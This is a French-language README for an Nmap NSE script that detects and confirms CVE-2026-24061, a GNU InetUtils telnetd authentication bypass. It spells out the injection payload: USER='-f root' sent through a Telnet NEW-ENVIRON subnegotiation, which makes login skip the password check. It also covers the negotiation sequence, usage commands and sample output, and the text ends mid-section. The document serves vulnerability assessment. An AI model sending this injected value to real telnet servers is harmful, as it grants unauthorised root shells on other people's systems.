CVE-2026-24061 — Contournement d'authentification telnetd GNU InetUtils

Script de détection Nmap NSE

---

Vue d'ensemble

Ce script Nmap NSE détecte CVE-2026-24061, une vulnérabilité de contournement d'authentification dans GNU InetUtils telnetd versions 1.9.3 à 2.7.

En envoyant une variable d'environnement USER spécialement conçue de la forme -f <nom_utilisateur> lors de la négociation des options Telnet, un attaquant non authentifié peut obtenir un shell avec les privilèges de l'utilisateur local spécifié — y compris root — sans fournir de mot de passe.

Utilisation prévue : Tests d'intrusion autorisés et évaluation de vulnérabilités uniquement.
L'exécution de ce script contre des systèmes sans autorisation écrite explicite est illégale.

---

Détails de la vulnérabilité

Champ	Valeur
ID CVE	CVE-2026-24061
Affecté	GNU InetUtils telnetd 1.9.3 – 2.7
Score CVSSv3	9.8 Critique
Vecteur	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Type	Contournement d'authentification (CWE-287)
Divulgation	2026-01-01

Comment cela fonctionne

GNU InetUtils telnetd utilise l'option Telnet NEW-ENVIRON (RFC 1572) pour recevoir les variables d'environnement du client pendant la phase de négociation. Le programme login(1) est ensuite invoqué avec ces variables.

La vulnérabilité provient du fait que telnetd transmet la variable USER directement à login sans l'assainir. Le programme login sous Linux accepte un indicateur -f <utilisateur> signifiant « pré-authentifié, ne pas vérifier le mot de passe ». En injectant USER="-f root" via la charge utile NEW-ENVIRON, l'attaquant contourne entièrement l'authentification.

Client → Serveur :  IAC SB NEW-ENVIRON IS  VAR "USER"  VALUE "-f root"  IAC SE
Réponse du serveur :  lance login -f root  →  shell root, aucun mot de passe requis

---

Détails du script

Champ	Valeur
Nom du fichier	telnet-vuln-cve-2026-24061.nse
Catégories	vuln, exploit, intrusive
Port	TCP/23 (telnet)
Testé sur	Nmap 7.94 / 7.98, Windows & Linux

Méthode de détection

Le script effectue une négociation Telnet complète reproduisant la séquence d'octets exacte d'une session client telnet -a réelle (reconstruite à partir d'une capture Wireshark) :

1. Réception de la rafale IAC d'ouverture du serveur (DO TTYPE, DO TSPEED, DO ENVIRON, …)
2. Réponse avec l'annonce complète des capacités du client (WILL TTYPE, WILL LINEMODE, …)
3. Achèvement du cycle de sous-négociation (SB TSPEED, SB ENVIRON, SB TTYPE)
4. Injection de USER='-f <utilisateur>' conçu dans la charge utile NEW-ENVIRON IS
5. Achèvement de la séquence WILL ECHO / DO BINARY / WONT LINEMODE
   (critique — sans cela, telnetd ne peut pas finaliser la configuration PTY)
6. Vérification si le serveur envoie une invite de shell de connexion sans demande de mot de passe

États de résultat :

État	Signification
EXPLOIT	Invite de shell reçue — contournement confirmé
LIKELY_VULN	Charge utile ENV acceptée, aucune invite de mot de passe, mais aucune invite de shell
NOT_VULN	Invite de mot de passe observée, ou négociation non terminée

---

Installation

Linux

# Copier vers le répertoire des scripts Nmap
sudo cp telnet-vuln-cve-2026-24061.nse /usr/share/nmap/scripts/

# Mettre à jour la base de données des scripts
sudo nmap --script-updatedb

Windows

# Copier vers le répertoire des scripts Nmap (ajuster le chemin si nécessaire)
copy telnet-vuln-cve-2026-24061.nse "C:\Program Files (x86)\Nmap\scripts\"

# Mettre à jour la base de données des scripts (exécuter en tant qu'administrateur)
nmap --script-updatedb

---

Utilisation

Analyse de base (utilisateur par défaut : root)

nmap -p 23 --script telnet-vuln-cve-2026-24061 <cible>

Spécifier un utilisateur différent

# Forme courte
nmap -p 23 --script telnet-vuln-cve-2026-24061 --script-args user=kali <cible>

# Forme moyenne
nmap -p 23 --script telnet-vuln-cve-2026-24061 --script-args telnet-user=kali <cible>

# Forme entièrement qualifiée
nmap -p 23 --script telnet-vuln-cve-2026-24061 \
    --script-args telnet-vuln-cve-2026-24061.user=kali <cible>

Analyser une plage d'adresses IP

nmap -p 23 --script telnet-vuln-cve-2026-24061 192.168.1.0/24

Sortie verbeuse / Débogage

nmap -p 23 --script telnet-vuln-cve-2026-24061 -v  <cible>   # verbeux
nmap -p 23 --script telnet-vuln-cve-2026-24061 -d  <cible>   # débogage
nmap -p 23 --script telnet-vuln-cve-2026-24061 -d2 <cible>   # trace hexadécimale complète

---

Exemple de sortie

Hôte vulnérable

PORT   STATE SERVICE
23/tcp open  telnet
| telnet-vuln-cve-2026-24061:
|   VULNERABLE:
|   Contournement d'authentification GNU InetUtils telnetd
|     État : VULNÉRABLE (Exploitable)
|     ID :  CVE:CVE-2026-24061
|     Facteur de risque : Critique  CVSSv3 : 9.8
|     Description :
|       Le service telnetd dans GNU InetUtils (1.9.3 - 2.7) permet
|       un contournement d'authentification via une variable d'environnement USER conçue.
|       L'envoi de '-f <utilisateur>' aboutit à un shell de connexion non authentifié.
|     Informations supplémentaires :
|       Authentification contournée : invite de shell reçue après injection
|       de USER='-f root' -- aucune demande de mot de passe n'a été présentée.
|     Références :
|       https://nvd.nist.gov/vuln/detail/CVE-2026-24061
|       https://github.com/JayGLXR/CVE-2026-24061-POC
|_      https://github.com/SafeBreach-Labs/CVE-2026-24061

Hôte non vulnérable

PORT   STATE SERVICE
23/tcp open  telnet

(aucune sortie de script — NOT_VULN est silencieux par conception, convention Nmap standard)

---

Arguments du script

Argument	Alias	Défaut	Description
telnet-vuln-cve-2026-24061.user	telnet-user, user	root	Nom d'utilisateur à injecter via -f

---

Notes techniques

Pourquoi WONT LINEMODE est critique